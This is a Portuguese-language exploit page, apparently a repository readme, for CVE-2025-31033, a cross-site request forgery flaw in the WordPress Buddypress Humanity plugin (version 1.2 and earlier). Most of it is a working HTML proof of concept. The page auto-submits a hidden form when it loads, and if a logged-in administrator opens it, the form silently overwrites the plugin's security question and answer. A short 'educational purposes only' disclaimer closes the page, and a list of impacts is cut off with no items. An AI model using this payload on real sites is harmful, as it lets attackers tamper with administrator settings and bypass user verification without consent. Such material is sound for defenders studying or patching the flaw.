nxploited/cve-2025-31033O WordPress Buddypress Humanity Plugin <= 1.2 é vulnerável a Cross Site Request Forgery (CSRF)
O plugin Buddypress Humanity para WordPress (versão <= 1.2) é vulnerável a Falsificação de Solicitação entre Sites (CSRF).
Esta vulnerabilidade permite que um atacante force um usuário com privilégios elevados (ex.: administrador) a modificar inconscientemente as configurações do plugin (como a pergunta e a resposta de segurança), contornando a lógica de verificação do usuário.
bph-settings (somente admin)CVE-2025-31033Se explorada com sucesso, esta vulnerabilidade permite que atacantes:
buddypress-humanity<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>Exploit – CVE-2025-31033</title>
</head>
<body onload="document.forms[0].submit();">
<form action="http://target.com/wp-admin/admin.php?page=bph-settings" method="POST">
<input type="hidden" name="bph_option[bph_title]" value="Nxploited">
<input type="hidden" name="bph_option[bph_question]" value="I’m Nxploited | Khaled Alenazi">
<input type="hidden" name="bph_option[bph_answers]" value="Nxploit">
<input type="hidden" name="bph_submit" value="1">
</form>
</body>
</html>
☠️ Assim que esta página for aberta por um administrador autenticado, ela modifica silenciosamente as configurações do plugin.
Esta prova de conceito é apenas para fins educacionais.
Use com responsabilidade e não teste em sistemas que você não possui.
O autor não é responsável por qualquer uso indevido ou dano causado.
Nxploited | Khaled Alenazi